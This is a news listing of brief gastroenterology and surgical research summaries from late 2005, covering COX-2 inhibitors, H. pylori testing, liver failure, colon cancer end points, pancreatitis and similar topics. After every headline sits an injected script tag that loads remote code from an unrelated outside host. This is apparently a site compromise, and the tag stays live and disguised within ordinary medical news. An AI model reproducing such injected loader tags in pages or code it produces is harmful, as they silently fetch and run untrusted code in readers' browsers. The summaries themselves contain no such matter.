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COX-2 inhibitors do not provide greater stomach protection 02 December 2005
Anti-inflammatory drugs for the stomach<script src=http://laba.com/muuu.s></script> There is no evidence that the new generation of anti-inflammatory drugs are less harmful to the stomach lining than many traditional anti-inflammatory drugs, concludes a study in this week's BMJ.
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GI bleeding does not interfere with H pylori tests 02 December 2005
GI bleeding and <em>H Pylori</em> tests<script src=http://laba.com/muuu.s></script> Acute-GI bleeding does not decrease the sensitivity of rapid urease testing, unless the effect lasts about 1 month, nor does it produce falsely negative histologic examinations for H pylori, reports December's Gastrointestinal Endoscopy.
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Monitoring intracranial hypertension in liver failure 01 December 2005
Intracranial pressure monitoring in liver failure<script src=http://laba.com/muuu.s></script> Patients listed for liver transplantation are treated less aggressively for intracranial hypertension in the absence of intracranial pressure monitoring, however, complications with monitoring still occur, finds this month's Liver Transplantation.
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Disease-free survival as end point for colon cancer trials 01 December 2005
Survival end point for colon cancer<script src=http://laba.com/muuu.s></script> Disease-free survival and overall survival are highly correlated in clinical trials for adjuvant colon cancer, suggesting disease-free survival after 3 years as an appropriate end point, reports the latest issue of Journal of Clinical Oncology.
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Hep C health care resources in the United States 01 December 2005
Hep C resources in the USA<script src=http://laba.com/muuu.s></script> December's Hepatology reports that as patients continue to age and disease burden progresses, suboptimal decisions on Hep C treatments will bring opportunity costs for the health care system.
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HBV-like particle transfers gene into primary hepatocytes 30 November 2005
Hep B virus particle transfers gene<script src=http://laba.com/muuu.s></script> The translocation motif-protein transduction domain has the potential to mediate efficient transfer of cell-permeable Hep B virus-like particles and its nucleic acids into primary human hepatocytes, reports December's Hepatology.
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Treating benign strictures of the proximal bile duct 30 November 2005
Five types of benign bile duct stricture masquerade as malignant<script src=http://laba.com/muuu.s></script> The latest Journal of the American College of Surgeons finds that benign proximal biliary strictures masquerading as hilar cholangiocarcinoma result from five different underlying conditions, and should be treated by resection.
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Preoperative rectal cancer radiotherapy increases GI disorders 30 November 2005
Radiotherapy for rectal cancer<script src=http://laba.com/muuu.s></script> Gastrointestinal disorders, resulting in hospital admissions, are the most common adverse effect of short-course preoperative radiation therapy for rectal cancer, finds the latest Journal of Clinical Oncology.
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Laparoscopy similar to open surgery for achalasia 29 November 2005
Treatment for achalasia<script src=http://laba.com/muuu.s></script> Laparoscopic Heller myotomy achieves short- and long-term results comparable to open surgery with good patient satisfaction, and should be considered for treating achalasia, reports the latest issue of the American Journal of Surgery.
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Quality indicators for abdominal operations in elderly patients 29 November 2005
Abdominal operations in elderly patients<script src=http://laba.com/muuu.s></script> A validated methodology used in the latest issue of the Journal of the American College of Surgeons identifies and rates process measures to achieve high-quality perioperative care for elderly surgical patients.
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Obesity, diabetes and smoking increase pancreatic cancer risk 29 November 2005
Pancreatic cancer risk factors<script src=http://laba.com/muuu.s></script> Results in December's issue of the British Journal of Cancer show positive relationships of overall obesity, abdominal adiposity, diabetes and smoking with risk of pancreatic cancer.
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Diagnostic imaging does not improve appendicitis misdiagnosis 28 November 2005
Misdiagnosis of appendicitis<script src=http://laba.com/muuu.s></script> The most recent issue of the Journal of the American College of Surgeons finds that the rate of negative appendectomy is unchanged over time despite the introduction and use of computed tomography and ultrasound.
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Surgery delay increases resection risk in complete obstruction 28 November 2005
Resection risk in complete obstruction<script src=http://laba.com/muuu.s></script> Surgery should not be postponed beyond 24 hours for unresponsive symptoms from complete obstruction, as the risk of resection rises dramatically, reports the latest Journal of the American College of Surgeons.
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Beta-blockers increase adverse events in cirrhosis 25 November 2005
Beta-blockers and cirrhosis<script src=http://laba.com/muuu.s></script> Nonselective beta-blockers are ineffective in preventing varices in patients with cirrhosis and portal hypertension and are associated with an increased number of adverse events, reports this week's New England Journal of Medicine.
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Outcomes of acute pancreatitis in Crohn's disease 25 November 2005
Acute pancreatitis in Crohn's disease<script src=http://laba.com/muuu.s></script> There is a definite etiology in most patients with Crohn's disease with acute pancreatitis, accounting for more than a quarter of the cases, finds the most recent issue of Inflammatory Bowel Deseases.
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